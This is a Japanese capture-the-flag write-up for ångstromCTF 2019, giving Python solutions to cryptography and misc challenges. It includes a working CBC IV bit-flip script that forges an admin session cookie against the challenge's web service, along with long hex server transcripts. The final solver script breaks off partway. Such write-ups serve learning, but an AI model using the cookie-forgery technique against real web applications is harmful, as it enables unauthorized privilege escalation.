ångstromCTF 2019 Writeup

この大会は2019/4/20 9:00(JST)~2019/4/25 9:00(JST)に開催されました。
今回もチームで参戦。結果は3180点で1570チーム中14位でした。
自分で解けた問題をWriteupとして書いておきます。

IRC (MISC 10)

freenodeで#angstromctfチャネルに入ると、フラグが書かれていた。

ångstromCTF 2019 | 4/20 - 4/27 @ 00:00 UTC | Ops and Voiced are authors | actf{like_discord_but_worse}
actf{like_discord_but_worse}

Blank Paper (MISC 30)

PDFの先頭4バイトが壊れているので、"%PDF"にして開くと、文章の中にフラグが含まれていた。

actf{knot_very_interesting}

Classy Cipher (CRYPTO 20)

シーザー暗号の拡張版。

def decrypt(e, s):
    d = ''
    for c in e:
        d += chr((ord(c) - s) % 0xff)
    return d

enc = ':<M?TLH8<A:KFBG@V'

s = ord(':') - ord('a')
flag = decrypt(enc, s)
print flag
actf{so_charming}

Really Secure Algorithm (CRYPTO 30)

RSA暗号。p, qがわかっているので、そのまま復号する。

from Crypto.Util.number import *

p = 8337989838551614633430029371803892077156162494012474856684174381868510024755832450406936717727195184311114937042673575494843631977970586746618123352329889
q = 7755060911995462151580541927524289685569492828780752345560845093073545403776129013139174889414744570087561926915046519199304042166351530778365529171009493
e = 65537
c = 7022848098469230958320047471938217952907600532361296142412318653611729265921488278588086423574875352145477376594391159805651080223698576708934993951618464460109422377329972737876060167903857613763294932326619266281725900497427458047861973153012506595691389361443123047595975834017549312356282859235890330349
n = p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m)
print flag
actf{really_securent_algorithm}

Runes (CRYPTO 70)

Paillier暗号。factordbでnを素因数分解する。

n = 310013024566643256138761337388255591613 * 319848228152346890121384041219876391791

素因数分解できたので、あとはそのまま復号する。

from Crypto.Util.number import *
import gmpy2

def lcm(a, b):
    return (a * b) / gmpy2.gcd(a, b)

def L(u, n):
    return (u - 1) / n

n = 99157116611790833573985267443453374677300242114595736901854871276546481648883
g = 99157116611790833573985267443453374677300242114595736901854871276546481648884
c = 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869
p = 310013024566643256138761337388255591613
q = 319848228152346890121384041219876391791

lamda = lcm(p-1, q-1)
mu = L(pow(g, lamda, n**2), n) % n

m = L(pow(c, lamda, n**2), n) * inverse(mu, n) % n
flag = long_to_bytes(m)
print flag
actf{crypto_lives}

Paint (CRYPTO 100)

与えられたスクリプトの概要は以下の通り。

image = flagの数値
palette = 1 << 2048
base = random.randint(0, palette) | 1
secret = random.randint(0, palette)
my_mix = pow(base, secret, palette)

shared = pow(your_mix, secret, palette)
painting = image ^ shared

paletteが2の2048乗なので、2の1乗から順にmodulusを少しずつ増やし、近づいていくような方式でsecretを求める。secretが判明したら、あとはそのままflagを算出して、割り出す。

from Crypto.Util.number import long_to_bytes

palette = 32317006071311007300714876688669951960444102669715484032130345427524655138867890893197201411522913463688717960921898019494119559150490921095088152386448283120630877367300996091750197750389652106796057638384067568276792218642619756161838094338476170470581645852036305042887575891541065808607552399123930385521914333389668342420684974786564569494856176035326322058077805659331026192708460314150258592864177116725943603718461857357598351152301645904403697613233287231227125684710820209725157101726931323469678542580656697935045997268352998638215525166389437335543602135433229604645318478604952148193555853611059596230656
base = 13489305024865487703110255658234329747698118206959778644688156332043783846078839120693894255527894489531905012244713117142764166452312133019772171674466933769775907460046497284522592167536594047800489828714315435570429416637425443402332599055774982796405757075108551322778712959943658831605397635195107786224617525627358659165255604556424206194207190437525742567525338826878962081515333896433312311548844614323540250054093970082337500580573165008440265840792908334486258260848163001490152587781983042546491301026074736907693887630347258892882871059741621049169714319440564952700454580681894452760215968494428411686329
my_mix = 6870295205307030503255600311283969014496436297715066273709495591567561187646528069669895230912327862244474990612611625088862250315706633708998214109152824455738719595737772769297517386968692628228327225922261219083693899105983726637012353264168761696183327692619506267951701511870035935612090359086376808592001973358166067468618577312983514388332736591060901174314042634365304017788649960016991442596975922402288221898367955532116456798868804571091463566329706023967280838744359633963847966790121312196824818606244189274966061324393424041211903396020720341163472399763951106703068172772579049891895580785347369093113
your_mix = 14317253516668543276504878316838097235650210449758621543536146016892160048656997634541093315774403078357942150970695487937570449270120625898199254439189104072891595263513437420116930684308702803055295267600790477195902538538739117809573391251939794413361184343367694928615752045687223262368136262534778688889202144260002584306527206705616186699377315031757095455954292951059462279988296369935635246644221722025457496936215039008069820514166063271894671978845634968761626636993374291118230179892722513818307254406450607168911057458141649111515924404215975886422961651958216688209696158879621701708955382424640000048217
painting = 17665922529512695488143524113273224470194093921285273353477875204196603230641896039854934719468650093602325707751566466034447988065494130102242572713515917910688574332104680867377750329904425039785453961697828887505197701127086732126907914324992806733394244034438537271953062873710421922341053639880387051921552573241651939698279628619278357238684137922164483956735128373164911380749908774512869223017256152942356111845682044048514917460601214157119487675633689081081818805777951203838578632029105960085810547586385599419736400861419214277678792284994133722491622512615732083564207280344459191773058670866354126043620

secret = 0
for i in range(1, 2049):
    for j in range(2):
        if pow(base, secret, 2**i) == (my_mix % (2**i)):
            break
        secret += 2 ** (i - 4)

shared_mix = pow(your_mix, secret, palette)
image = painting ^ shared_mix
flag = long_to_bytes(image)
print flag
actf{powers_of_two_are_not_two_powerful}

Secret Sheep Society (120)

与えられたスクリプトの概要は以下の通り。

■index()
・token = cookieのtoken
・session = tokenのAES復号(JSON)
 -> 'admin'がTrueの場合、フラグ表示

■enter()
・handle = 入力したハンドル名
・session = {'admin': False, 'handle': 'XX'}という形式
 -> JSONダンプ:{"admin": false, "handle": "XX"}
・token = sessionのAES暗号

通常このようなデータが暗号化される。

0123456789abcdef
{"admin": false,
 "handle": "XX"}
PPPPPPPPPPPPPPPP

下記のようにすればよい。暗号本体は変えずに、XORで算出してIVだけ変えれば、この暗号文を作れる。

{"admin": true, 
 "handle": "XX"}
PPPPPPPPPPPPPPPP
import requests
from base64 import b64encode, b64decode

def pad(s):
    c = 16 - len(s) % 16
    return s + chr(c) * c

def str_xor(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

url = 'https://secretsheepsociety.2019.chall.actf.co/'

payload = {'handle': 'XX'}
r = requests.post(url + 'enter', data=payload, allow_redirects=False)
token = r.cookies['token']

iv = b64decode(token)[:16]
enc = b64decode(token)[16:]

plain = '{"admin": false,'
new_plain = '{"admin": true, '
new_iv = str_xor(str_xor(plain, iv), new_plain)

new_token = b64encode(new_iv + enc)

cookies = {'token': new_token}
r = requests.get(url, cookies=cookies)
print r.text

実行結果は以下の通り。

<!DOCTYPE html>
<html lang="en">
  <title>Secret Sheep Society</title>
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="https://unpkg.com/tachyons/css/tachyons.min.css">
  <body>
    <div class="courier mh4 mh5-m mh7-l mv4">
      <p class="f3">Secret Sheep Society Portal</p>
      <pre>
           __  _
       .-.'  `; `-._  __  _
      (_,         .-:'  `; `-._
    ,'o"(        (_,           )
   (__,-'      ,'o"(            )
      (       (__,-'            )
       `-'._.--._(             )
          |||  |||`-'._.--._.-'
                     |||  |||
      </pre>

        <p style="line-height: 2">
          Welcome, <span class="f6 light-red bg-light-gray ph2 pv1 br2">XX</span>.

            The flag is <span class="f6 mid-gray bg-light-gray ph2 pv1 br2">actf{shep_the_conqueror_slumbers}</span>.

        </p>
        <div class="mv3">
          <form method="post" action="/exit">
            <input class="courier b ph3 pv2 input-reset ba b--black pointer" type="submit" value="Exit">
          </form>
        </div>

    </div>
  </body>
</html>
actf{shep_the_conqueror_slumbers}

WALL-E (CRYPTO 130)

最低でもフラグの後ろに\x00が84バイトある。

aa...aa\x00\x00\x00\x00..\x00
  86           84

以下のように式を変えて計算しやすくする。

m = flag * (256**84)
⇒pow(m, e, n) = pow(flag, e, n) * pow(256**84, e, n)
⇒pow(flag, e, n) = c * inverse(pow(256**84, e, n), n)

pow(flag, e, n) がわかるので、この値にnを足しながら、e乗根を確認し、該当するものを探す。

from Crypto.Util.number import long_to_bytes, inverse
import gmpy

n = 16930533490098193592341875268338741038205464836112117606904075086009220456281348541825239348922340771982668304609839919714900815429989903238980995651506801223966153299092163805895061846586943843402382398048697158458017696120659704031304155071717980681280735059759239823752407134078600922884956042774012460082427687595370305553669279649079979451317522908818275946004224509637278839696644435502488800296253302309479834551923862247827826150368412526870932677430329200284984145938907415715817446807045958350179492654072137889859861558737138356897740471740801040559205563042789209526133114839452676031855075611266153108409
e = 3
c = 11517346521350511968078082236628354270939363562359338628104189053516869171468429130280219507678669249746227256625771360798579618712012428887882896227522052222656646536694635021145269394726332158046739239080891813226092060005024523599517854343024406506186025829868533799026231811239816891319566880015622494533461653189752596749235331065273556793035000698955959016688177480102004337980417906733597189524580640648702223430440368954613314994218791688337730722144627325417358973332458080507250983131615055175113690064940592354460257487958530863702022217749857014952140922260404696268641696045086730674980684704510707326989

c2 = c * inverse(pow(256**84, e, n), n) % n

i = 1
while True:
    m = gmpy.root(c2, e)[0]
    if pow(m, e) == c2:
        break
    c2 += n
    i += 1

flag = long_to_bytes(m).rstrip('\x00')
print flag
actf{bad_padding_makes_u_very_sadding_even_if_u_add_words_just_for_the_sake_of_adding}

Lattice ZKP (CRYPTO 150)

$ nc 54.159.113.26 19003

    __      __  __  _                    __       
   / /___ _/ /_/ /_(_)_______     ____  / /______ 
  / / __ `/ __/ __/ / ___/ _ \   /_  / / //_/ __ \
 / / /_/ / /_/ /_/ / /__/  __/    / /_/ ,< / /_/ /
/_/\__,_/\__/\__/_/\___/\___/    /___/_/|_/ .___/ 
                                         /_/      
Query until you are convinced that I know s, where
b = A*s + e

A*r + e: 308209fe0202676402024d3b020219ae02027a860202599c020223ef02020e700202067b02025f3802021d9a02025e6f02025bdb02026a3102026a0102025f5f0202247502022d1e020201b30202233b0202229e02024aed02024cca02020fdb02021273020273dd0202399f0202767402023f0b0202468b020245bf020206ad0202557002022a4402022e340202678d02027548020221690202508e02026a75020216180202107102021d17020213a802026728020225e20202396202024ad202023f8e02025a7d02025f7b02022f6902020b3a020252d002023e9602023aaa02026e4502022d0f0202045502024d40020246ef020231860202767702027cba0202461602024b8402021c33020219c802022947020248c80202643e020232960202034b02024e210202343402027827020244b7020274f902026782020232290202203d020214b702025e9f020242e102022939020202d802027a31020244ed02025f1702025b9102025a0c02022da702027aa1020254de02020bb202024bf60202085c0202647b0202538d02025ea2020238a30202746802024aba0202059702026893020216190202703d0202199f02023d26020223a002023b4c0202109c020267ec02027670020245d1020268770202423b0202634f0202793e02021884020238a00202451f02022635020243e302020eb30202182b02022be30202550d02021b7d02025e8b020258a40202190a020205f802026e8902021df0020221e902022a900202717b02025040020212a802022f12020256a502021543020213de02022cff0202198a02026d560202176502027f24020231e5020236400202617e020252e60202770b0202237e02015a020207cc02020fef02023ff902020b71020203b10202449302025e1e020224b5020233e702024a4502024f9f02025aab0202433b02025b2c0202207b0202166d02023c52020275f902022f420202791d020247c20202100d0202162c02022b5b02020c2f0202055502027078020267210202213902020d7b02023a0a020224410202307c020271f202023be402022fae0202691e02023ac00202455a02024ac002025a300202509b020251af020241d202027c660202483102025c4002021076020203a10202758c02027ebf02024aaa0202176a020264100202369902026d89020262540202180c02025577020276260202240202027fb802020f0d02027375020253f70202438702024dce020276c502027f8a0202258502025ec102024ce502027022020255a30202409502024e1902025f4402023c4a020266d90202134c02021bfd0202642102026678020214d9020202a90202039602022c50020239aa020259de02026ef2020265430202377602020959020276c702021d2202021fbd0202674e020269dd020257d702025feb0202551c02020b88020201f70202686702022c0302026364020215e402024a7002020ed6020275a40202546a02027c450202776b02021c54020224c90202062a020213a202026b740202012102025c89020230b5020201aa020213b4020217bb02024f0202023ff402024c40020233950202270102023b6702027e2a02025f780202100602026140020221f90202118902025901020229f60202334102022b0d02022c7c020240cf02023d5202023a89020254c302021d6602022b20020254ed020250b10202644d02026aa602026b92020219a302025f6902026e1b0202083402020a3802025c9902023dc702025bea02026fb802023bae020248b7020206e8020279470202796c02023c9002021a7402022aee020267ea020267f502023d68020211c70202370802021020020261e802021e9c020257ca02024cf202021fac0202028c02021c9402026eb9020244f302026a2202026b9f0202224d02023d260202529002021c310202408002021b21020243d80202186c0202029c02021d6c020238400202678b0202456302022c19020211d402024e6f020253e6020276480202640e02020265020231f50202341202024bf20202787f02023dc002027919020202ee02023f9402023c9202023ada020221a9020272e302025023020277a2020256b6020269dc020204ac0202643f020232c602020fc80202475f02023d73020215e402023c8602026fbc02024345020201c90202322d020229230202522302022b260202164402022af702025b9402020b2602020cf00202532802026c820202209f02022a2f02021cb002024f1202027acb020215c9020266cb020266d3020245be0202099b02027deb02027a5302020b7b02023d4e02025cfc0202438702022fbd0202540d0202312102027e5f020140020262ec020223cd020202c602027f77020221600202332302027ec802021e3602025c600202594302022fef020236f802023cf80202291602026b6a02023b39020237a5020232b2020257170202414102023d520202283b020274a502025f3a0202388f02022c7b020207290202723f0202454c0202289e02027ef0020226e00202251502027ab6020222170202090302022d8d020259fa02025c38020279c302021ffe020255af02027dd1020212b40202398e0202373202023c6b020261be020278e302020af1020222470202738302027eb00202178202025f010202752002021ee3020206e402027a5402020325020218cd02021d8502022e7e020227790202589002026c71020242a8020204e202025cad0202512d020271c202027f6802026d3002024196020223df020248560202667902024c58020260e4020207db02024a3e020209be020248be02024c6c0202169a020247280202528a0202774602027d1b02026944020246e2020239f40202226e02027e4e02022fe50202653502022ca702021afd02021f0702021221020276fc0202453002021bc6020232a2020245df020253c002021c4c020240780202197c02021411020250ba02022cd202020e5d0202080002027e3f020234a0020228760202786c020256db0202053f02020ae70202453e02022d2802024ea50202202002020ed7020253100202074b02023b3402025bd502021f7d02024857020215540202202102026db402027a4c020238560202265f020271d002027dcb0202294d02026a64020210950202697f020242a602022edf02023873020265bd02027e4c020213a9020234cf020232ad020226b602025fe002025d5f020256b2020253a60202336d02024dd602023da7020260c702021aa1020264b2020254110202221902021c900202384e02024eab020259990202642f0202292e0202026b0202029e0202138f02027bc10202178e0202757902027c6c02025ef40202195102022dd1020231870202592b020270e00202057402023a14020218490202487f02027d4902022dd7020221f402021a4d0202753e02022c15020238d202021e3f02023b9202020c3702020a7902022651020273a902026b5602024573020277350202042302027ab6020239100202609f020264450202552002021da7020242a50202769202022311020271b8020249d702026f87020271dd02023ab2020239d2
[0] r
[1] r+s
Choice: 0
r: 308209fe02022f35020273a602022c9b0202265102026d6702022212020273ab0202784502024c25020229b5020237c602027c20020238330202025b02021f3c02022f990202566702021c7602025886020237190202405902024ffa02024c5c02023e1702027b640202501d02022cd902027d3702023a2f020266bc0202669c020259570202624f020231230202679f02021bc6020222cd02026b8d02021ac60202714d020223f60202256f020276170202565e02025bb90202761e020210de02025e0a0202623002022d8902020884020237f4020226f1020207a8020207c702022f940202149802027ad302020485020244320202792b020257a202025b3f02024dd202023214020231da0202320602023ecb02027f4102027d53020221df020244eb02021a2b020232da020244a402021fcc020273960202337e02026dc80202599502025249020258b8020273a1020247f002025c890202785e020227dc02022f5a02020d9102023cae02022f93020244d202025c3202020da602020e8702020b0e020237b202022bc402023dc002026b89020225060202642e0202120f020225ff0202097d0202124402024fd6020239a502021b75020231ae02026dd00202225702027326020204f80202587b020231d502026e0002024ddb020219450202138602021b9f020247cc02022ff402026052020256a5020236ca020279d40202405a0202141902027b2b0202577b020247a902022cd302027fd702020b9b02027ffe02025c3b02023ccb02024f3e02023afa0202686002020f6102026c3702027ee60202330d020278ea0202232702021db10202184c0202194702023f5902027ab40202128602023ba00202780b02025345020238690202651d0202493102022879020252cc02025de1020228e702022c2c020274cd020277ab0202393902026f4f020273d90202664402026b7e020220260202531c0202718d020236dd02023f3c02022037020217d7020216840202128b0202553602025b780202743602024c71020229e102025fc202026a3802021c6f0202637402026e1c02020b34020213f2020212ee02022852020215a902024d8102021b02020208a102022c3b0202690502020a5902020227020231430202349d02020ee7020231f002020d7b0202181402026e1d02024e360202163902023e050202230102025ded0202319f02022b85020211aa02027692020226c302021a3702020273020210dd020258b50202028c02024be6020272ef02020741020231e50202455b02022fdf02026d9002023de3020216c502026a840202282f020239b0020227f1020240a70202165e02023d3c0202162902022e4c02022f7702021b6602026df7020252bf02021d1a0202212c02027f78020207ab02024279020259e702021aac02022dc702024f010202542e020239d6020270ef0202579d0202291202023b9502022e28020222c502024b71020255ea02022c5f020206f602026cca020279f202022e490202226502022df9020254940202410302027ac80202398d020243a502025fde0202062102024d6102023b100202668402021c9b0202147602024ad002024d7002026948020271f602023e2502026ce902027c43020257be02025a9d02023ba6020257e40202523a020241760202300c020234f202020ab30202310b0202372402022450020202dd0202764d02027c6b0202287e02022a67020207810202371602025ff8020213670202466c02020d62020265e0020271b2020262f7020256a60201080202393802020756020237df0202060d02022aaa02027cdf0202151d020252e302024fab02020b240202457e020263ea020278b1020220c90202328e020249440202759602022fb70202729e02026ef702020efc0202553f02020d290202555202023819020265e602026635020216e3020238de02021fa4020254a8020244890202265e020200ae02021d1a020221c50202637d0202657802024c2602022a4a0202566402027baa0202139202025916020226a402022c830202351202024d9202022da602026ca102022f250202766c02027eda020253300202665702021d1802021454020265e9020232740202115302027cc0020221960202187302020428020254f1020246a302027032020209c7020245ff0202594702020fca02022d8102021309020213bf02023e1902020a4a02023fd502020d360202377d02020e7c0202084d0202563602021ad30202330b020259ef0202108f0202336d020238370202670e02022e39020276d402021acf0202470702022c1502024b830202680c020224a2020269db0202565d02025d0d020273030202273402022a970202117902027ffa02026c85020257510202738e02021e47020256c002025c6c020240eb02027902020211b902026264020238f7020232f302021ceb020264720202477c020234750202388a02025b2e0202337502025fc302022110020269140202319602024ea8020264300202468f02022dac02026562020230ce02021ef402024a3802027db002026e680202253a020219c5020249280202760e020247bb0202342d020245530202798c02024b8d02021bb90202703f02026c0b02024e0a020262ae0202689b02021b2a02022d3b02024c9002027574020228ae02021ccb0202160502023e040202441e02025d2b0202149f0202297802024017020171020268b002026b8f020211ba02020a960202125f0202290a020242c40202114002023e850202790902026b7d0202461f0202406e02024016020224bb0202012f020217c9020235ef0202469a0202149302023c8c0202759d02023cff0202571202020e8702020cb10202520e02020f7202021d47020213bd0202257902025f5f020252f9020239a8020279cc020278840202234402021ac002024c50020236d502027778020276a10202286302027d5702022f510202472602022dd10202624102021eb902020e4a02024aba020270fe0202600202025408020279df02025dff02025f3f02022da202023c4e02027be302021140020232a102023c3f0202530e02021b26020212f90202282b020248e002022b16020237ac020275bc02026cd902024547020227ba020229ca02025be802022bb9020259640202675c0202732c020201210202042f020232470202391a02024ad4020209d402020f4f02021b9202025014020258460202050e020204bc02027d9202020c6f020217320202168402020e3402022b7902024d24020212ed02023156020204f402021b8502020d83020240c90202563f02027c1f02023f20020215f5020267f802020270020275bb0202137d0202048f0202343f02022f9502022d0402021d5d020258e102026ea60202429402023461020209d702024af4020274c5020251de020217720202419302021bfd0202608f0202698d0202156302025f9302022078020278360202205502024b8702027acd02024b87020209e1020222fd020204e40202117e02027edb020244a6020215b3020208020202288d0202262b020235f802024c1b02020ebc02023a270202381e

$ nc 54.159.113.26 19003

    __      __  __  _                    __       
   / /___ _/ /_/ /_(_)_______     ____  / /______ 
  / / __ `/ __/ __/ / ___/ _ \   /_  / / //_/ __ \
 / / /_/ / /_/ /_/ / /__/  __/    / /_/ ,< / /_/ /
/_/\__,_/\__/\__/_/\___/\___/    /___/_/|_/ .___/ 
                                         /_/      
Query until you are convinced that I know s, where
b = A*s + e

A*r + e: 308209fe0202676402024d3b020219ae02027a860202599c020223ef02020e700202067b02025f3802021d9a02025e6f02025bdb02026a3102026a0102025f5f0202247502022d1e020201b30202233b0202229e02024aed02024cca02020fdb02021273020273dd0202399f0202767402023f0b0202468b020245bf020206ad0202557002022a4402022e340202678d02027548020221690202508e02026a75020216180202107102021d17020213a802026728020225e20202396202024ad202023f8e02025a7d02025f7b02022f6902020b3a020252d002023e9602023aaa02026e4502022d0f0202045502024d40020246ef020231860202767702027cba0202461602024b8402021c33020219c802022947020248c80202643e020232960202034b02024e210202343402027827020244b7020274f902026782020232290202203d020214b702025e9f020242e102022939020202d802027a31020244ed02025f1702025b9102025a0c02022da702027aa1020254de02020bb202024bf60202085c0202647b0202538d02025ea2020238a30202746802024aba0202059702026893020216190202703d0202199f02023d26020223a002023b4c0202109c020267ec02027670020245d1020268770202423b0202634f0202793e02021884020238a00202451f02022635020243e302020eb30202182b02022be30202550d02021b7d02025e8b020258a40202190a020205f802026e8902021df0020221e902022a900202717b02025040020212a802022f12020256a502021543020213de02022cff0202198a02026d560202176502027f24020231e5020236400202617e020252e60202770b0202237e02015a020207cc02020fef02023ff902020b71020203b10202449302025e1e020224b5020233e702024a4502024f9f02025aab0202433b02025b2c0202207b0202166d02023c52020275f902022f420202791d020247c20202100d0202162c02022b5b02020c2f0202055502027078020267210202213902020d7b02023a0a020224410202307c020271f202023be402022fae0202691e02023ac00202455a02024ac002025a300202509b020251af020241d202027c660202483102025c4002021076020203a10202758c02027ebf02024aaa0202176a020264100202369902026d89020262540202180c02025577020276260202240202027fb802020f0d02027375020253f70202438702024dce020276c502027f8a0202258502025ec102024ce502027022020255a30202409502024e1902025f4402023c4a020266d90202134c02021bfd0202642102026678020214d9020202a90202039602022c50020239aa020259de02026ef2020265430202377602020959020276c702021d2202021fbd0202674e020269dd020257d702025feb0202551c02020b88020201f70202686702022c0302026364020215e402024a7002020ed6020275a40202546a02027c450202776b02021c54020224c90202062a020213a202026b740202012102025c89020230b5020201aa020213b4020217bb02024f0202023ff402024c40020233950202270102023b6702027e2a02025f780202100602026140020221f90202118902025901020229f60202334102022b0d02022c7c020240cf02023d5202023a89020254c302021d6602022b20020254ed020250b10202644d02026aa602026b92020219a302025f6902026e1b0202083402020a3802025c9902023dc702025bea02026fb802023bae020248b7020206e8020279470202796c02023c9002021a7402022aee020267ea020267f502023d68020211c70202370802021020020261e802021e9c020257ca02024cf202021fac0202028c02021c9402026eb9020244f302026a2202026b9f0202224d02023d260202529002021c310202408002021b21020243d80202186c0202029c02021d6c020238400202678b0202456302022c19020211d402024e6f020253e6020276480202640e02020265020231f50202341202024bf20202787f02023dc002027919020202ee02023f9402023c9202023ada020221a9020272e302025023020277a2020256b6020269dc020204ac0202643f020232c602020fc80202475f02023d73020215e402023c8602026fbc02024345020201c90202322d020229230202522302022b260202164402022af702025b9402020b2602020cf00202532802026c820202209f02022a2f02021cb002024f1202027acb020215c9020266cb020266d3020245be0202099b02027deb02027a5302020b7b02023d4e02025cfc0202438702022fbd0202540d0202312102027e5f020140020262ec020223cd020202c602027f77020221600202332302027ec802021e3602025c600202594302022fef020236f802023cf80202291602026b6a02023b39020237a5020232b2020257170202414102023d520202283b020274a502025f3a0202388f02022c7b020207290202723f0202454c0202289e02027ef0020226e00202251502027ab6020222170202090302022d8d020259fa02025c38020279c302021ffe020255af02027dd1020212b40202398e0202373202023c6b020261be020278e302020af1020222470202738302027eb00202178202025f010202752002021ee3020206e402027a5402020325020218cd02021d8502022e7e020227790202589002026c71020242a8020204e202025cad0202512d020271c202027f6802026d3002024196020223df020248560202667902024c58020260e4020207db02024a3e020209be020248be02024c6c0202169a020247280202528a0202774602027d1b02026944020246e2020239f40202226e02027e4e02022fe50202653502022ca702021afd02021f0702021221020276fc0202453002021bc6020232a2020245df020253c002021c4c020240780202197c02021411020250ba02022cd202020e5d0202080002027e3f020234a0020228760202786c020256db0202053f02020ae70202453e02022d2802024ea50202202002020ed7020253100202074b02023b3402025bd502021f7d02024857020215540202202102026db402027a4c020238560202265f020271d002027dcb0202294d02026a64020210950202697f020242a602022edf02023873020265bd02027e4c020213a9020234cf020232ad020226b602025fe002025d5f020256b2020253a60202336d02024dd602023da7020260c702021aa1020264b2020254110202221902021c900202384e02024eab020259990202642f0202292e0202026b0202029e0202138f02027bc10202178e0202757902027c6c02025ef40202195102022dd1020231870202592b020270e00202057402023a14020218490202487f02027d4902022dd7020221f402021a4d0202753e02022c15020238d202021e3f02023b9202020c3702020a7902022651020273a902026b5602024573020277350202042302027ab6020239100202609f020264450202552002021da7020242a50202769202022311020271b8020249d702026f87020271dd02023ab2020239d2
[0] r
[1] r+s
Choice: 1
r+s: 308209fd020206d202020ef60202200502025ab302024fbc0202319402022906020255fc02025dd80202101602023f480202201202022ae002023c260202310a02021348020213060202123e020262aa02025d5c02027e46020243d60202213c0202165b0202560802020f17020270f402025fc102025b3602026a4b02027eac02024c7f02021484020217e8020237b402020860020246df020265620202513c02020cad0202517002022f0602023e7702022a4d020223680202184302023b640202453a02022428020244f702026cb7020220550202259c02024aa1020256c102025095020260cd0202796a02024a8502024979020236b00202355502027695020141020217ff02023022020223af0202248c020275a402020c8b020206be020202ff02023ec102027e4e020256f902020fbb02027dbe02027d6802021ec50202049f02021e280202570a0202613702023314020243f6020227950202448902022a0602023a18020218180202385602026958020242e20202305c020266f6020266fd02021dd80202446c0202751202025d1c020249d6020221a202026f90020279e7020246740202124d0202053f020214d702020cac020209300202206402025c400202241e02026a2802021d6b02026bd5020269da02027c790202016302026b7d02026ad8020242ae02023a9502023f1d020237770202636c020256aa020260020202351802022b9902025179020203ca02025cc4020265190202085d02027d5802027363020276640202198b0202113802026db3020237c702024cf302024c9a020231510202012a020252e302020b7b02020ac302020a5102021cdb02024a75020264b3020204980202506a02025ebf0202340102022d3902020cf0020273450202067c0202722802027c1802026c8e0202316e0202715e0202427602023d5f020255d2020268dd02023a1c020207c60202470a020242cd02027f4b02026d0d0202754e02023a82020271b9020260b902022044020249e502020c2202024f9a020221920202256802025b7c0202715802025d5a02021d4b02025067020258fe02023e1b02020978020262e00202047802022d7f020278460202436d02021f5702022ee702023e8b0202483a02022c8202027043020205f20202168c020267c90202262b02027cb202023680020250650202060b0202349602021f92020261700202693402026f9f020223ff02020ab6020221250202203b02023f1202026cc7020267cf020257d002023d8702020bb50202158b02021ec6020255fa02025cd702025abb02023ecf02023e4d02022bbe020221e0020258360202530402026cbc02024afa0202055102022dc402023fc902025ce60202343f020234f3020229af02027fea020272ee02025e6c02027b210202647102020867020270d00202166602023c1d02026eb602024bd302022a9602023cb30202371c02022be402024bac0202510302027d090202230c02026a2c02022a0b0202742302021d4b0202236202023c92020270c30202437302026b95020238b8020218de020228100202645e0202533e02026a3302022fde02021b8b02025f440202015902021487020215cb02024e5b02022d8b02023ed70202223202023d12020246f4020212be020276cc02022d87020235670202038102027b3202022ea0020214b4020202f40202488502023b3c020233d60202272b02020f970202272d0202231f0202546302026e0c020206dc020262ad020266f9020211de020205e50202507002022c87020207770202634202026a0302023b66020215d4020268d902024b1002021c4702025a2d02023cae0202666a02024c9b02025f7e02025f7a0202408702021e5e0202730702026a7302021edc02026860020267ce02027a9b02020f5b02026e7c02027c70020250480202458a0202340002022a5f0202149f020252f5020204e40202653002025331020240460202712002026302020242d802027daf0202019d02021c1c0202369b020269be020257d602026b7102022b030202790602025f6e02022b79020272d0020231f502021e9802021a230202308202022b6202027ed402027d250202420202026ffc020278e3020236c502027e360202207f020257980202635302026f4c02023e59020267ae02022b67020229cf02023384020221fe02023d5b02023300020242860202605202020eab020207bc020214a002020da102021c2402023f1f02024e5102023dab0202444202021bbf020218300202047f02027e200202647f020204830202501002022dd00202511902020b130202693f020256e502020b05020223f902025b9b0202610d0202338802021d6a02021a76020200ae02027ee002021a3d02020b0a02022d59020208e10202524d02020921020143020267d4020202ea02020bff02021d7202021c6f02024045020236120202595d020212610202446a020222e2020221fd0202061602024bbe02020b8102020f1502025b4702024af402020dd2020266fc020265d302022137020261dc020272ac020265dc0202637302027ff502025c9f020253b9020202d602027eaa020201e00202147502026fe0020250460202107502021be002023dce02022d7d0202586702024a030202678b02024b92020229ce020211bf02021bf90202714c02023b3d020226b6020211d2020238ba02020f420202502e02027c3c020225dd020261960202377802021f9f0202476f0202373a0202655702020f390202709c020251960202467a0202010f0202351f02020b8b02022e6f02023ffe0202419002027db602026f4702027bb40202107e02027c8802026764020227e2020233ec02023f1f02023e2602021552020236c7020240db02027ee102025c990202073f020256820202179f02027304020236da0202737602020e610202629002027b8202022cc402020fa5020277ea02026b0b0202244f0202129d0202177402027b44020225aa02026bdf0202253f020279ae02026aa5020238ed0202651d0202406d02022da2020274e8020266b20202056d0202562a02021b0f02021d3e020261bc020227a1020238e202024e2e02020560020266890202296e020237fe0202018c020209e70202196e02027b6702024ef20202233e02024a7b02023c0b02020ed60202250a02024f4002025cf302021ea202020bb6020273dd0202698c02025d8f02027b1b02024679020224970202334d02021fb402024c1902020f7902027678020263a80202698a020272af020276ce02021e5602021eb2020242d20202139d02027d690202039f020224ff0202042b020264b502022246020232130202132002026136020127020221b602020cb7020250a10202496d0202441502021088020218a30202253b0202222e02026b66020246040202087a02026cc0020267d7020279f002022bf402021d1c02022e91020272cd020240a802025bb702022a87020277b1020226550202040a0202108a020241de0202483202024af5020208670202768c020271d60202039b020203fc020276900202360902020e2c020225e402021f8f

A*r + eは何回アクセスしても変わらない。rとr+sの値がわかるので、引き算すればsの値がわかる。あとはencryptは実質XORなので、もう一度同じようなことをすれば、フラグが得られる。

#!/usr/bin/env python3
import socket
import binascii
import numpy as np
from Crypto.Util.asn1 import DerSequence
from Crypto.Hash import SHAKE256
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def decrypt(s, enc):
    raw = bytes(np.mod(s, 256).tolist())
    shake = SHAKE256.new()
    shake.update(raw)
    pad = shake.read(len(enc))
    return strxor(enc, pad)

der = DerSequence()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('54.159.113.26', 19003))

data = recvuntil(s, b'Choice: ')
print((data + b'0').decode())
s.sendall(b'0\n')
data = recvuntil(s, b'\n').rstrip()
print(data.decode())

